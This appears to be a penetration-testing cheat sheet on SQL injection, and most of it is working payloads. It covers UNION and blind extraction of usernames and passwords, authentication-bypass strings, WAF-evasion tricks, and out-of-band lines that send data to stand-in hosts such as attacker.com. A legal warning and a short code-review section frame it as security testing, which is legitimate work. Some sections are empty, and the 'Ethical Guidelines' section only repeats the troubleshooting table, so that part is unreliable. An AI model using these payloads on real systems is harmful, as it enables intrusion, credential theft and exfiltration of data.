SQL Injection Testing

SQL Injection Testing

Comprehensive SQL injection vulnerability assessment techniques for web applications, covering detection, exploitation, and defense validation.

Description

USE WHEN:

DON'T USE WHEN:

⚠️ LEGAL REQUIREMENT: Written penetration testing authorization required before use.

Detection Phase

Injection Point Identification

Common injectable parameters:

URL params:    ?id=1, ?user=admin, ?category=books
Form fields:   username, password, search, comments
Cookies:       session_id, user_preference
HTTP headers:  User-Agent, Referer, X-Forwarded-For

Basic Vulnerability Tests

-- Single quote test
'
-- Double quote test
"
-- Comment sequences
--
#
/**/
-- Semicolon for query stacking
;

Watch for:

Boolean Logic Tests

-- True condition (should return data)
page.asp?id=1 or 1=1
page.asp?id=1' or 1=1--
page.asp?id=1" or 1=1--
-- False condition (should return nothing/error)
page.asp?id=1 and 1=2
page.asp?id=1' and 1=2--

Compare responses between true/false to confirm injection.

Exploitation Techniques

UNION-Based Extraction

-- Step 1: Determine column count
ORDER BY 1--
ORDER BY 2--
ORDER BY 3--
-- Continue until error occurs
-- Step 2: Find displayable columns
UNION SELECT NULL,NULL,NULL--
UNION SELECT 'a',NULL,NULL--
UNION SELECT NULL,'a',NULL--
-- Step 3: Extract data
UNION SELECT username,password,NULL FROM users--
UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--

Error-Based Extraction

-- MSSQL
1' AND 1=CONVERT(int,(SELECT @@version))--
-- MySQL (XPATH)
1' AND extractvalue(1,concat(0x7e,(SELECT @@version)))--
-- PostgreSQL
1' AND 1=CAST((SELECT version()) AS int)--

Blind Boolean-Based

-- Character extraction
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='b'--
-- Conditional responses
1' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--

Time-Based Blind

-- MySQL
1' AND IF(1=1,SLEEP(5),0)--
1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a',SLEEP(5),0)--
-- MSSQL
1'; WAITFOR DELAY '0:0:5'--
-- PostgreSQL
1'; SELECT pg_sleep(5)--

Out-of-Band (OOB)

-- MSSQL DNS exfiltration
1; EXEC master..xp_dirtree '\\attacker-server.com\share'--
-- MySQL DNS
1' UNION SELECT LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\a'))--
-- Oracle HTTP
1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--

Authentication Bypass

-- Classic bypass payloads
admin'--
admin'/*
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'/*
') OR ('1'='1
') OR ('1'='1'--
-- Query transformation example
-- Original: SELECT * FROM users WHERE username='input' AND password='input'
-- Injected (username: admin'--):
-- SELECT * FROM users WHERE username='admin'--' AND password='anything'
-- Password check bypassed!

Filter Bypass Techniques

Character Encoding

-- URL encoding
%27 (single quote)
%22 (double quote)
%23 (hash)
-- Double URL encoding
%2527 (single quote)
-- Hex strings (MySQL)
SELECT * FROM users WHERE name=0x61646D696E  -- 'admin'

Whitespace Alternatives

-- Comment substitution
SELECT//username//FROM/**/users
-- Tab character
SELECT%09username%09FROM%09users
-- Newline
SELECT%0Ausername%0AFROM%0Ausers

Keyword Evasion

-- Case variation
SeLeCt, sElEcT, SELECT
-- Inline comments
SEL/*bypass*/ECT
UN/*bypass*/ION
-- Double writing (if filter removes once)
SELSELECTECT → SELECT
UNUNIONION → UNION

Database Fingerprinting

| Database | Version Query | |----------|---------------| | MySQL | SELECT @@version or SELECT version() | | MSSQL | SELECT @@version | | PostgreSQL | SELECT version() | | Oracle | SELECT banner FROM v$version | | SQLite | SELECT sqlite_version() |

Information Schema Queries

-- MySQL/MSSQL: List tables
SELECT table_name FROM information_schema.tables WHERE table_schema=database()
-- List columns
SELECT column_name FROM information_schema.columns WHERE table_name='users'
-- Oracle equivalent
SELECT table_name FROM all_tables
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'

Quick Reference

| Purpose | Payload | |---------|---------| | Basic test | ' or " | | Boolean true | OR 1=1-- | | Boolean false | AND 1=2-- | | Comment (MySQL) | # or -- | | Comment (MSSQL) | -- | | UNION probe | UNION SELECT NULL-- | | Time delay | AND SLEEP(5)-- | | Auth bypass | ' OR '1'='1 |

Detection Test Sequence

1. Insert ' → Check for error
2. Insert " → Check for error
3. Try: OR 1=1-- → Check for behavior change
4. Try: AND 1=2-- → Check for behavior change
5. Try: ' WAITFOR DELAY '0:0:5'-- → Check for delay

Prevention (What to Look For in Code Review)

❌ Vulnerable

const query = SELECT * FROM users WHERE id = '${userId}';

✅ Safe

// Parameterized query
const query = 'SELECT * FROM users WHERE id = $1';
const result = await db.query(query, [userId]);
// OR use ORM
const user = await prisma.user.findUnique({ where: { id: userId } });

Tools

Troubleshooting

| Problem | Solution | |---------|----------| | No error messages | Use blind injection (boolean/time-based) | | UNION fails | Check column count with ORDER BY | | WAF blocking | Use encoding/evasion techniques | | Payload not executing | Verify correct comment syntax for DB type | | Time-based inconsistent | Use longer delays (10+ seconds) |

Ethical Guidelines

| Problem | Solution | |---------|----------| | No error messages | Use blind injection (boolean/time-based) | | UNION fails | Check column count with ORDER BY | | WAF blocking | Use encoding/evasion techniques | | Payload not executing | Verify correct comment syntax for DB type | | Time-based inconsistent | Use longer delays (10+ seconds) |